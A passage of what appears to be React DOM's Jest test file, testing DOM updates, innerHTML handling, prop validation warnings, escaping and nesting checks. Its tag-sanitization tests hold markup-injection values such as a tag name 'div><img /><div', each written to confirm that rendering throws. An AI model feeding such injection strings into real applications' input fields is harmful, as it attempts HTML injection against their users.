/>);\n      });\n\n      expect(container.firstChild.innerHTML).toEqual('bonjour');\n      await act(() => {\n        root.render(<div>adieu</div>);\n      });\n      expect(container.firstChild.innerHTML).toEqual('adieu');\n    });\n\n    it('should transition from innerHTML to children in nested el', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            <div dangerouslySetInnerHTML={{__html: 'bonjour'}} />\n          </div>,\n        );\n      });\n\n      expect(container.textContent).toEqual('bonjour');\n      await act(() => {\n        root.render(\n          <div>\n            <div>\n              <span>adieu</span>\n            </div>\n          </div>,\n        );\n      });\n      expect(container.textContent).toEqual('adieu');\n    });\n\n    it('should transition from children to innerHTML in nested el', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            <div>\n              <span>adieu</span>\n            </div>\n          </div>,\n        );\n      });\n\n      expect(container.textContent).toEqual('adieu');\n      await act(() => {\n        root.render(\n          <div>\n            <div dangerouslySetInnerHTML={{__html: 'bonjour'}} />\n          </div>,\n        );\n      });\n      expect(container.textContent).toEqual('bonjour');\n    });\n\n    it('should not incur unnecessary DOM mutations for attributes', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div id=\"\" />);\n      });\n\n      const node = container.firstChild;\n      const nodeSetAttribute = node.setAttribute;\n      node.setAttribute = jest.fn();\n      node.setAttribute.mockImplementation(nodeSetAttribute);\n\n      const nodeRemoveAttribute = node.removeAttribute;\n      node.removeAttribute = jest.fn();\n      node.removeAttribute.mockImplementation(nodeRemoveAttribute);\n\n      await act(() => {\n        root.render(<div id=\"\" />);\n      });\n      expect(node.setAttribute).toHaveBeenCalledTimes(0);\n      expect(node.removeAttribute).toHaveBeenCalledTimes(0);\n\n      await act(() => {\n        root.render(<div id=\"foo\" />);\n      });\n      expect(node.setAttribute).toHaveBeenCalledTimes(1);\n      expect(node.removeAttribute).toHaveBeenCalledTimes(0);\n\n      await act(() => {\n        root.render(<div id=\"foo\" />);\n      });\n      expect(node.setAttribute).toHaveBeenCalledTimes(1);\n      expect(node.removeAttribute).toHaveBeenCalledTimes(0);\n\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(node.setAttribute).toHaveBeenCalledTimes(1);\n      expect(node.removeAttribute).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<div id=\"\" />);\n      });\n      expect(node.setAttribute).toHaveBeenCalledTimes(2);\n      expect(node.removeAttribute).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(node.setAttribute).toHaveBeenCalledTimes(2);\n      expect(node.removeAttribute).toHaveBeenCalledTimes(2);\n    });\n\n    it('should not incur unnecessary DOM mutations for string properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div value=\"\" />);\n      });\n\n      const node = container.firstChild;\n\n      const nodeValueSetter = jest.fn();\n\n      const oldSetAttribute = node.setAttribute.bind(node);\n      node.setAttribute = function (key, value) {\n        oldSetAttribute(key, value);\n        nodeValueSetter(key, value);\n      };\n\n      await act(() => {\n        root.render(<div value=\"foo\" />);\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<div value=\"foo\" />);\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<div value={null} />);\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<div value=\"\" />);\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(2);\n\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(2);\n    });\n\n    it('should not incur unnecessary DOM mutations for controlled string properties', async () => {\n      function onChange() {}\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<input value=\"\" onChange={onChange} />);\n      });\n\n      const node = container.firstChild;\n\n      let nodeValue = '';\n      const nodeValueSetter = jest.fn();\n      Object.defineProperty(node, 'value', {\n        get: function () {\n          return nodeValue;\n        },\n        set: nodeValueSetter.mockImplementation(function (newValue) {\n          nodeValue = newValue;\n        }),\n      });\n\n      await act(() => {\n        root.render(<input value=\"foo\" onChange={onChange} />);\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(\n          <input value=\"foo\" data-unrelated={true} onChange={onChange} />,\n        );\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<input onChange={onChange} />);\n      });\n      assertConsoleErrorDev([\n        'A component is changing a controlled input to be uncontrolled. This is likely caused by ' +\n          'the value changing from a defined to undefined, which should not happen. Decide between ' +\n          'using a controlled or uncontrolled input element for the lifetime of the component. ' +\n          'More info: https://react.dev/link/controlled-components\\n' +\n          '    in input (at **)',\n      ]);\n      expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<input value={null} onChange={onChange} />);\n      });\n      assertConsoleErrorDev([\n        '`value` prop on `input` should not be null. Consider using an empty string to clear the ' +\n          'component or `undefined` for uncontrolled components.\\n' +\n          '    in input (at **)',\n      ]);\n      expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n\n      await act(() => {\n        root.render(<input value=\"\" onChange={onChange} />);\n      });\n      assertConsoleErrorDev([\n        'A component is changing an uncontrolled input to be controlled. This is likely caused by ' +\n          'the value changing from undefined to a defined value, which should not happen. Decide between ' +\n          'using a controlled or uncontrolled input element for the lifetime of the component. ' +\n          'More info: https://react.dev/link/controlled-components\\n' +\n          '    in input (at **)',\n      ]);\n      expect(nodeValueSetter).toHaveBeenCalledTimes(2);\n\n      await act(() => {\n        root.render(<input onChange={onChange} />);\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(2);\n    });\n\n    it('should not incur unnecessary DOM mutations for boolean properties', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<audio muted={true} />);\n      });\n\n      const node = container.firstChild;\n      let nodeValue = true;\n      const nodeValueSetter = jest.fn();\n      Object.defineProperty(node, 'muted', {\n        get: function () {\n          return nodeValue;\n        },\n        set: nodeValueSetter.mockImplementation(function (newValue) {\n          nodeValue = newValue;\n        }),\n      });\n\n      await act(() => {\n        root.render(<audio muted={true} data-unrelated=\"yes\" />);\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(0);\n\n      await act(() => {\n        root.render(<audio muted={false} data-unrelated=\"ok\" />);\n      });\n      expect(nodeValueSetter).toHaveBeenCalledTimes(1);\n    });\n\n    it('should ignore attribute list for elements with the \"is\" attribute', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<button is=\"test\" cowabunga=\"chevynova\" />);\n      });\n      expect(container.firstChild.hasAttribute('cowabunga')).toBe(true);\n    });\n\n    it('should warn about non-string \"is\" attribute', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<button is={function () {}} />);\n      });\n      assertConsoleErrorDev([\n        'Received a `function` for a string attribute `is`. If this is expected, cast ' +\n          'the value to a string.\\n' +\n          '    in button (at **)',\n      ]);\n    });\n\n    it('should not update when switching between null/undefined', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(<div />);\n      });\n\n      const setter = jest.fn();\n      container.firstChild.setAttribute = setter;\n\n      await act(() => {\n        root.render(<div dir={null} />);\n      });\n      await act(() => {\n        root.render(<div dir={undefined} />);\n      });\n      await act(() => {\n        root.render(<div />);\n      });\n      expect(setter).toHaveBeenCalledTimes(0);\n      await act(() => {\n        root.render(<div dir=\"ltr\" />);\n      });\n      expect(setter).toHaveBeenCalledTimes(1);\n    });\n\n    it('handles multiple child updates without interference', async () => {\n      // This test might look like it's just testing ReactMultiChild but the\n      // last bug in this was actually in DOMChildrenOperations so this test\n      // needs to be in some DOM-specific test file.\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      // ABCD\n      await act(() => {\n        root.render(\n          <div>\n            <div key=\"one\">\n              <div key=\"A\">A</div>\n              <div key=\"B\">B</div>\n            </div>\n            <div key=\"two\">\n              <div key=\"C\">C</div>\n              <div key=\"D\">D</div>\n            </div>\n          </div>,\n        );\n      });\n      // BADC\n      await act(() => {\n        root.render(\n          <div>\n            <div key=\"one\">\n              <div key=\"B\">B</div>\n              <div key=\"A\">A</div>\n            </div>\n            <div key=\"two\">\n              <div key=\"D\">D</div>\n              <div key=\"C\">C</div>\n            </div>\n          </div>,\n        );\n      });\n\n      expect(container.textContent).toBe('BADC');\n    });\n  });\n\n  describe('createOpenTagMarkup', () => {\n    function quoteRegexp(str) {\n      return String(str).replace(/([.?*+\\^$\\[\\]\\\\(){}|-])/g, '\\\\$1');\n    }\n\n    function expectToHaveAttribute(actual, expected) {\n      const [attr, value] = expected;\n      let re = '(?:^|\\\\s)' + attr + '=[\\\\\\'\"]';\n      if (typeof value !== 'undefined') {\n        re += quoteRegexp(value) + '[\\\\\\'\"]';\n      }\n      expect(actual).toMatch(new RegExp(re));\n    }\n\n    function genMarkup(props) {\n      return ReactDOMServer.renderToString(<div {...props} />);\n    }\n\n    it('should generate the correct markup with className', () => {\n      expectToHaveAttribute(genMarkup({className: 'a'}), ['class', 'a']);\n      expectToHaveAttribute(genMarkup({className: 'a b'}), ['class', 'a b']);\n      expectToHaveAttribute(genMarkup({className: ''}), ['class', '']);\n    });\n\n    it('should escape style names and values', () => {\n      expectToHaveAttribute(\n        genMarkup({\n          style: {'b&ckground': '<3'},\n        }),\n        ['style', 'b&amp;ckground:&lt;3'],\n      );\n    });\n  });\n\n  describe('createContentMarkup', () => {\n    function quoteRegexp(str) {\n      return String(str).replace(/([.?*+\\^$\\[\\]\\\\(){}|-])/g, '\\\\$1');\n    }\n\n    function genMarkup(props) {\n      return ReactDOMServer.renderToString(<div {...props} />);\n    }\n\n    function toHaveInnerhtml(actual, expected) {\n      const re = quoteRegexp(expected);\n      return new RegExp(re).test(actual);\n    }\n\n    it('should handle dangerouslySetInnerHTML', () => {\n      const innerHTML = {__html: 'testContent'};\n      expect(\n        toHaveInnerhtml(\n          genMarkup({dangerouslySetInnerHTML: innerHTML}),\n          'testContent',\n        ),\n      ).toBe(true);\n    });\n  });\n\n  describe('mountComponent', () => {\n    let mountComponent;\n\n    beforeEach(() => {\n      mountComponent = async props => {\n        const container = document.createElement('div');\n        const root = ReactDOMClient.createRoot(container);\n        await act(() => {\n          root.render(<div {...props} />);\n        });\n      };\n    });\n\n    it('should work error event on <source> element', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <video>\n            <source\n              src=\"http://example.org/video\"\n              type=\"video/mp4\"\n              onError={e => Scheduler.log('onError called')}\n            />\n          </video>,\n        );\n      });\n\n      const errorEvent = document.createEvent('Event');\n      errorEvent.initEvent('error', false, false);\n      container.getElementsByTagName('source')[0].dispatchEvent(errorEvent);\n\n      if (__DEV__) {\n        assertLog(['onError called']);\n      }\n    });\n\n    it('should warn for uppercased selfclosing tags', () => {\n      class Container extends React.Component {\n        render() {\n          return React.createElement('BR', null);\n        }\n      }\n\n      const returnedValue = ReactDOMServer.renderToString(<Container />);\n      assertConsoleErrorDev([\n        '<BR /> is using incorrect casing. ' +\n          'Use PascalCase for React components, ' +\n          'or lowercase for HTML elements.\\n' +\n          '    in BR (at **)\\n' +\n          '    in Container (at **)',\n      ]);\n      // This includes a duplicate tag because we didn't treat this as self-closing.\n      expect(returnedValue).toContain('</BR>');\n    });\n\n    it('should warn on upper case HTML tags, not SVG nor custom tags', async () => {\n      let container = document.createElement('div');\n      let root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          React.createElement('svg', null, React.createElement('PATH')),\n        );\n      });\n\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(React.createElement('CUSTOM-TAG'));\n      });\n\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(React.createElement('IMG'));\n      });\n      assertConsoleErrorDev([\n        '<IMG /> is using incorrect casing. ' +\n          'Use PascalCase for React components, ' +\n          'or lowercase for HTML elements.\\n' +\n          '    in IMG (at **)',\n      ]);\n    });\n\n    it('should warn on props reserved for future use', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<div aria=\"hello\" />);\n      });\n      assertConsoleErrorDev([\n        'The `aria` attribute is reserved for future use in React. ' +\n          'Pass individual `aria-` attributes instead.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should warn if the tag is unrecognized', async () => {\n      let realToString;\n      try {\n        realToString = Object.prototype.toString;\n        const wrappedToString = function () {\n          // Emulate browser behavior which is missing in jsdom\n          if (this instanceof window.HTMLUnknownElement) {\n            return '[object HTMLUnknownElement]';\n          }\n          return realToString.apply(this, arguments);\n        };\n        Object.prototype.toString = wrappedToString; // eslint-disable-line no-extend-native\n\n        const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n        await act(() => {\n          root.render(<bar />);\n        });\n        assertConsoleErrorDev([\n          'The tag <bar> is unrecognized in this browser. ' +\n            'If you meant to render a React component, start its name with an uppercase letter.\\n' +\n            '    in bar (at **)',\n        ]);\n        // Test deduplication\n        await act(() => {\n          root.render(<foo />);\n        });\n        assertConsoleErrorDev([\n          'The tag <foo> is unrecognized in this browser. ' +\n            'If you meant to render a React component, start its name with an uppercase letter.\\n' +\n            '    in foo (at **)',\n        ]);\n        await act(() => {\n          root.render(<foo />);\n        });\n        await act(() => {\n          root.render(<time />);\n        });\n\n        // Corner case. Make sure out deduplication logic doesn't break with weird tag.\n        await act(() => {\n          root.render(<hasOwnProperty />);\n        });\n        assertConsoleErrorDev([\n          '<hasOwnProperty /> is using incorrect casing. ' +\n            'Use PascalCase for React components, or lowercase for HTML elements.\\n' +\n            '    in hasOwnProperty (at **)',\n          'The tag <hasOwnProperty> is unrecognized in this browser. ' +\n            'If you meant to render a React component, start its name with an uppercase letter.\\n' +\n            '    in hasOwnProperty (at **)',\n        ]);\n      } finally {\n        Object.prototype.toString = realToString; // eslint-disable-line no-extend-native\n      }\n    });\n\n    it('should throw on children for void elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(async () => {\n        await act(() => {\n          root.render(<input>children</input>);\n        });\n      }).rejects.toThrowError(\n        'input is a void element tag and must neither have `children` nor ' +\n          'use `dangerouslySetInnerHTML`.',\n      );\n    });\n\n    it('should throw on dangerouslySetInnerHTML for void elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(async () => {\n        await act(() => {\n          root.render(<input dangerouslySetInnerHTML={{__html: 'content'}} />);\n        });\n      }).rejects.toThrowError(\n        'input is a void element tag and must neither have `children` nor ' +\n          'use `dangerouslySetInnerHTML`.',\n      );\n    });\n\n    it('should treat menuitem as a void element but still create the closing tag', async () => {\n      // menuitem is not implemented in jsdom, so this triggers the unknown warning error\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      const returnedValue = ReactDOMServer.renderToString(\n        <menu>\n          <menuitem />\n        </menu>,\n      );\n\n      expect(returnedValue).toContain('</menuitem>');\n\n      await expect(async () => {\n        await act(() => {\n          root.render(\n            <menu>\n              <menuitem>children</menuitem>\n            </menu>,\n          );\n        });\n      }).rejects.toThrowError(\n        'menuitem is a void element tag and must neither have `children` nor use ' +\n          '`dangerouslySetInnerHTML`.',\n      );\n      assertConsoleErrorDev([\n        'The tag <menuitem> is unrecognized in this browser. ' +\n          'If you meant to render a React component, start its name with an uppercase letter.\\n' +\n          '    in menuitem (at **)',\n      ]);\n    });\n\n    it('should validate against multiple children props', async () => {\n      await expect(async () => {\n        await mountComponent({children: '', dangerouslySetInnerHTML: ''});\n      }).rejects.toThrowError(\n        '`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. ' +\n          'Please visit https://react.dev/link/dangerously-set-inner-html for more information.',\n      );\n    });\n\n    it('should validate against use of innerHTML', async () => {\n      await mountComponent({innerHTML: '<span>Hi Jim!</span>'});\n      assertConsoleErrorDev([\n        'Directly setting property `innerHTML` is not permitted. ' +\n          'For more information, lookup documentation on `dangerouslySetInnerHTML`.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should validate against use of innerHTML without case sensitivity', async () => {\n      await mountComponent({innerhtml: '<span>Hi Jim!</span>'});\n      assertConsoleErrorDev([\n        'Directly setting property `innerHTML` is not permitted. ' +\n          'For more information, lookup documentation on `dangerouslySetInnerHTML`.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should validate use of dangerouslySetInnerHTM with JSX', async () => {\n      await expect(async () => {\n        await mountComponent({dangerouslySetInnerHTML: '<span>Hi Jim!</span>'});\n      }).rejects.toThrowError(\n        '`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. ' +\n          'Please visit https://react.dev/link/dangerously-set-inner-html for more information.',\n      );\n    });\n\n    it('should validate use of dangerouslySetInnerHTML with object', async () => {\n      await expect(async () => {\n        await mountComponent({dangerouslySetInnerHTML: {foo: 'bar'}});\n      }).rejects.toThrowError(\n        '`props.dangerouslySetInnerHTML` must be in the form `{__html: ...}`. ' +\n          'Please visit https://react.dev/link/dangerously-set-inner-html for more information.',\n      );\n    });\n\n    it('should allow {__html: null}', async () => {\n      await expect(async () => {\n        await mountComponent({dangerouslySetInnerHTML: {__html: null}});\n      }).not.toThrow();\n    });\n\n    it('should warn about contentEditable and children', async () => {\n      await mountComponent({contentEditable: true, children: ''});\n      assertConsoleErrorDev([\n        'A component is `contentEditable` and contains `children` ' +\n          'managed by React. It is now your responsibility to guarantee that ' +\n          'none of those nodes are unexpectedly modified or duplicated. This ' +\n          'is probably not intentional.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should respect suppressContentEditableWarning', async () => {\n      await mountComponent({\n        contentEditable: true,\n        children: '',\n        suppressContentEditableWarning: true,\n      });\n    });\n\n    it('should validate against invalid styles', async () => {\n      await expect(async () => {\n        await mountComponent({style: 'display: none'});\n      }).rejects.toThrowError(\n        'The `style` prop expects a mapping from style properties to values, ' +\n          \"not a string. For example, style={{marginRight: spacing + 'em'}} \" +\n          'when using JSX.',\n      );\n    });\n\n    it('should throw for children on void elements', async () => {\n      class X extends React.Component {\n        render() {\n          return <input>moo</input>;\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(async () => {\n        await act(() => {\n          root.render(<X />);\n        });\n      }).rejects.toThrowError(\n        'input is a void element tag and must neither have `children` ' +\n          'nor use `dangerouslySetInnerHTML`.',\n      );\n    });\n\n    it('should support custom elements which extend native elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      spyOnDevAndProd(document, 'createElement');\n      await act(() => {\n        root.render(<div is=\"custom-div\" />);\n      });\n      expect(document.createElement).toHaveBeenCalledWith('div', {\n        is: 'custom-div',\n      });\n    });\n\n    it('should work load and error events on <image> element in SVG', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <svg>\n            <image\n              xlinkHref=\"http://example.org/image\"\n              onError={e => Scheduler.log('onError called')}\n              onLoad={e => Scheduler.log('onLoad called')}\n            />\n          </svg>,\n        );\n      });\n\n      const loadEvent = document.createEvent('Event');\n      const errorEvent = document.createEvent('Event');\n\n      loadEvent.initEvent('load', false, false);\n      errorEvent.initEvent('error', false, false);\n\n      container.getElementsByTagName('image')[0].dispatchEvent(errorEvent);\n      container.getElementsByTagName('image')[0].dispatchEvent(loadEvent);\n\n      if (__DEV__) {\n        assertLog(['onError called', 'onLoad called']);\n      }\n    });\n\n    it('should receive a load event on <link> elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const onLoad = jest.fn();\n\n      await act(() => {\n        root.render(<link href=\"http://example.org/link\" onLoad={onLoad} />);\n      });\n\n      const loadEvent = document.createEvent('Event');\n      const link = container.getElementsByTagName('link')[0];\n\n      loadEvent.initEvent('load', false, false);\n      link.dispatchEvent(loadEvent);\n\n      expect(onLoad).toHaveBeenCalledTimes(1);\n    });\n\n    it('should receive an error event on <link> elements', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      const onError = jest.fn();\n\n      await act(() => {\n        root.render(<link href=\"http://example.org/link\" onError={onError} />);\n      });\n\n      const errorEvent = document.createEvent('Event');\n      const link = container.getElementsByTagName('link')[0];\n\n      errorEvent.initEvent('error', false, false);\n      link.dispatchEvent(errorEvent);\n\n      expect(onError).toHaveBeenCalledTimes(1);\n    });\n  });\n\n  describe('updateComponent', () => {\n    let container;\n    let root;\n\n    beforeEach(() => {\n      container = document.createElement('div');\n      root = ReactDOMClient.createRoot(container);\n    });\n\n    it('should warn against children for void elements', async () => {\n      await act(() => {\n        root.render(<input />);\n      });\n\n      await expect(async () => {\n        await act(() => {\n          root.render(<input>children</input>);\n        });\n      }).rejects.toThrowError(\n        'input is a void element tag and must neither have `children` nor use ' +\n          '`dangerouslySetInnerHTML`.',\n      );\n    });\n\n    it('should warn against dangerouslySetInnerHTML for void elements', async () => {\n      await act(() => {\n        root.render(<input />);\n      });\n\n      await expect(async () => {\n        await act(() => {\n          root.render(<input dangerouslySetInnerHTML={{__html: 'content'}} />);\n        });\n      }).rejects.toThrowError(\n        'input is a void element tag and must neither have `children` nor use ' +\n          '`dangerouslySetInnerHTML`.',\n      );\n    });\n\n    it('should validate against multiple children props', async () => {\n      await act(() => {\n        root.render(<div />);\n      });\n\n      await expect(async () => {\n        await act(() => {\n          root.render(\n            <div children=\"\" dangerouslySetInnerHTML={{__html: ''}} />,\n          );\n        });\n      }).rejects.toThrowError(\n        'Can only set one of `children` or `props.dangerouslySetInnerHTML`.',\n      );\n    });\n\n    it('should warn about contentEditable and children', async () => {\n      await act(() => {\n        root.render(\n          <div contentEditable={true}>\n            <div />\n          </div>,\n        );\n      });\n      assertConsoleErrorDev([\n        'A component is `contentEditable` and contains `children` managed by React. ' +\n          'It is now your responsibility to guarantee that none of those nodes are unexpectedly modified or duplicated. ' +\n          'This is probably not intentional.\\n' +\n          '    in div (at **)',\n      ]);\n    });\n\n    it('should validate against invalid styles', async () => {\n      await act(() => {\n        root.render(<div />);\n      });\n\n      await expect(async () => {\n        await act(() => {\n          root.render(<div style={1} />);\n        });\n      }).rejects.toThrowError(\n        'The `style` prop expects a mapping from style properties to values, ' +\n          \"not a string. For example, style={{marginRight: spacing + 'em'}} \" +\n          'when using JSX.',\n      );\n    });\n\n    it('should report component containing invalid styles', async () => {\n      class Animal extends React.Component {\n        render() {\n          return <div style={1} />;\n        }\n      }\n\n      await expect(async () => {\n        await act(() => {\n          root.render(<Animal />);\n        });\n      }).rejects.toThrowError(\n        'The `style` prop expects a mapping from style properties to values, ' +\n          \"not a string. For example, style={{marginRight: spacing + 'em'}} \" +\n          'when using JSX.',\n      );\n    });\n\n    it('should properly escape text content and attributes values', () => {\n      expect(\n        ReactDOMServer.renderToStaticMarkup(\n          React.createElement(\n            'div',\n            {\n              title: '\\'\"<>&',\n              style: {\n                textAlign: '\\'\"<>&',\n              },\n            },\n            '\\'\"<>&',\n          ),\n        ),\n      ).toBe(\n        '<div title=\"&#x27;&quot;&lt;&gt;&amp;\" style=\"text-align:&#x27;&quot;&lt;&gt;&amp;\">' +\n          '&#x27;&quot;&lt;&gt;&amp;' +\n          '</div>',\n      );\n    });\n  });\n\n  describe('unmountComponent', () => {\n    it('unmounts children before unsetting DOM node info', async () => {\n      class Inner extends React.Component {\n        render() {\n          return <span />;\n        }\n\n        componentWillUnmount() {\n          // Should not throw\n          expect(\n            ReactDOM.__DOM_INTERNALS_DO_NOT_USE_OR_WARN_USERS_THEY_CANNOT_UPGRADE.findDOMNode(\n              this,\n            ).nodeName,\n          ).toBe('SPAN');\n        }\n      }\n\n      const root = ReactDOMClient.createRoot(document.createElement('div'));\n      await act(() => {\n        root.render(\n          <div>\n            <Inner />\n          </div>,\n        );\n      });\n      await act(() => {\n        root.unmount();\n      });\n    });\n  });\n\n  describe('tag sanitization', () => {\n    it('should throw when an invalid tag name is used server-side', () => {\n      const hackzor = React.createElement('script tag');\n      expect(() => ReactDOMServer.renderToString(hackzor)).toThrowError(\n        'Invalid tag: script tag',\n      );\n    });\n\n    it('should throw when an attack vector is used server-side', () => {\n      const hackzor = React.createElement('div><img /><div');\n      expect(() => ReactDOMServer.renderToString(hackzor)).toThrowError(\n        'Invalid tag: div><img /><div',\n      );\n    });\n\n    it('should throw when an invalid tag name is used', async () => {\n      const hackzor = React.createElement('script tag');\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(hackzor);\n        }),\n      ).rejects.toThrow();\n    });\n\n    it('should throw when an attack vector is used', async () => {\n      const hackzor = React.createElement('div><img /><div');\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await expect(\n        act(() => {\n          root.render(hackzor);\n        }),\n      ).rejects.toThrow();\n    });\n  });\n\n  describe('nesting validation', () => {\n    it('warns on invalid nesting', async () => {\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n      await act(() => {\n        root.render(\n          <div>\n            <tr />\n            <tr />\n          </div>,\n        );\n      });\n      assertConsoleErrorDev([\n        'In HTML, <tr> cannot be a child of <div>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '> <div>\\n' +\n          '>   <tr>\\n' +\n          '    ...\\n' +\n          '\\n    in tr (at **)',\n      ]);\n    });\n\n    it('warns on invalid nesting at root', async () => {\n      const p = document.createElement('p');\n      const root = ReactDOMClient.createRoot(p);\n\n      await act(() => {\n        root.render(\n          <span>\n            <p />\n          </span>,\n        );\n      });\n      assertConsoleErrorDev([\n        'In HTML, <p> cannot be a descendant of <p>.\\n' +\n          'This will cause a hydration error.' +\n          // There is no outer `p` here because root container is not part of the stack.\n          '\\n    in p (at **)',\n      ]);\n    });\n\n    it('warns nicely for table rows', async () => {\n      class Row extends React.Component {\n        render() {\n          return <tr>x</tr>;\n        }\n      }\n\n      class Foo extends React.Component {\n        render() {\n          return (\n            <table>\n              <Row />{' '}\n            </table>\n          );\n        }\n      }\n\n      const container = document.createElement('div');\n      const root = ReactDOMClient.createRoot(container);\n\n      await act(() => {\n        root.render(<Foo />);\n      });\n      assertConsoleErrorDev([\n        'In HTML, <tr> cannot be a child of ' +\n          '<table>. Add a <tbody>, <thead> or <tfoot> to your code to match the DOM tree generated ' +\n          'by the browser.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <Foo>\\n' +\n          '>   <table>\\n' +\n          '      <Row>\\n' +\n          '>       <tr>\\n' +\n          '      ...\\n' +\n          '\\n    in tr (at **)' +\n          '\\n    in Row (at **)' +\n          '\\n    in Foo (at **)',\n        '<table> cannot contain a nested <tr>.\\nSee this log for the ancestor stack trace.' +\n          '\\n    in table (at **)' +\n          '\\n    in Foo (at **)',\n        'In HTML, text nodes cannot be a ' +\n          'child of <tr>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <Foo>\\n' +\n          '    <table>\\n' +\n          '      <Row>\\n' +\n          '        <tr>\\n' +\n          '>         x\\n' +\n          '      ...\\n' +\n          '\\n    in tr (at **)' +\n          '\\n    in Row (at **)' +\n          '\\n    in Foo (at **)',\n        'In HTML, whitespace text nodes cannot ' +\n          \"be a child of <table>. Make sure you don't have any extra \" +\n          'whitespace between tags on each line of your source code.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <Foo>\\n' +\n          '>   <table>\\n' +\n          '      <Row>\\n' +\n          '>     {\" \"}\\n' +\n          '\\n    in table (at **)' +\n          '\\n    in Foo (at **)',\n      ]);\n    });\n\n    it('warns nicely for updating table rows to use text', async () => {\n      const root = ReactDOMClient.createRoot(document.createElement('div'));\n\n      function Row({children}) {\n        return <tr>{children}</tr>;\n      }\n\n      function Foo({children}) {\n        return <table>{children}</table>;\n      }\n\n      // First is fine.\n      await act(() => {\n        root.render(<Foo />);\n      });\n\n      await act(() => {\n        root.render(<Foo> </Foo>);\n      });\n      assertConsoleErrorDev([\n        'In HTML, whitespace text nodes cannot ' +\n          \"be a child of <table>. Make sure you don't have any extra \" +\n          'whitespace between tags on each line of your source code.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <Foo>\\n' +\n          '    <table>\\n' +\n          '>     {\" \"}\\n' +\n          '\\n    in table (at **)' +\n          '\\n    in Foo (at **)',\n      ]);\n\n      await act(() => {\n        root.render(\n          <Foo>\n            <tbody>\n              <Row />\n            </tbody>\n          </Foo>,\n        );\n      });\n\n      await act(() => {\n        root.render(\n          <Foo>\n            <tbody>\n              <Row>text</Row>\n            </tbody>\n          </Foo>,\n        );\n      });\n      assertConsoleErrorDev([\n        'In HTML, text nodes cannot be a ' +\n          'child of <tr>.\\n' +\n          'This will cause a hydration error.\\n' +\n          '\\n' +\n          '  <Foo>\\n' +\n          '    <table>\\n' +\n          '      <tbody>\\n' +\n          '        <Row>\\n' +\n          '          <tr>\\n' +\n          '>           text\\n' +\n          